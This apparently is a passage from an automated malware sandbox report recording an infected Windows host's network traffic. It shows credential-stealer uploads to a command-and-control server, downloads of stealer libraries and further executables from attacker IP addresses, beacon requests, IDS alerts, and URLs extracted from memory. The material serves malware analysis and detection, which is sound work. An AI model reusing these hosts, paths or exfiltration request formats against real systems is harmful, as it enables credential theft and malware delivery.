name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="message"files------FBAAAKFCAFIIDHIDGHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="file"------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="message"ybncbhylepme------FHCBGIIJKEBFCBGDBAEB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDGIIDHJEBGIDHJJDBKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/8047245472/Cq6Id6x.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016920001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016922001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016923001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49771 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49817 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49910 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49919 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49922 -> 104.21.12.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49921 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49924 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49927 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49926 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49928 -> 172.67.179.109:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49741 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

Code function: 14_2_0002E0C0 recv,recv,recv,recv,

14_2_0002E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/8047245472/Cq6Id6x.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: lossekniyyt.click
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click

Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2685829562.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp, random.exe.7.exe, 00000000.00000002.2685829562.000000000044E000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000FB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2685829562.0000000000493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: random.exe.7.exe, 00000000.00000002.2685829562.0000000000493000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllIk
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll)
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllv&E-
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll8
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000ED4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpc/
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000FB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfox
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi;
Source: random.exe.7.exe, 00000000.00000002.2685829562.00000000004C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/cA
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000FB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.php08727f07d07c87b82d81207b9d6e-release
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpI
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpz
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/8047245472/Cq6Id6x.exe
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/8047245472/Cq6Id6x.exeXYZ0123456789
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/8047245472/Cq6Id6x.exeswsock.dll
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpi
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe#2
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe01
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe3c
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805147
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe6O2
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe7d1
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeb2
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exedc4e1v
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeed2/
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exees/burpin1/random.exe4001
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe5
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe9
Source: skotes.exe, 00000011.00000002.3321172986.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
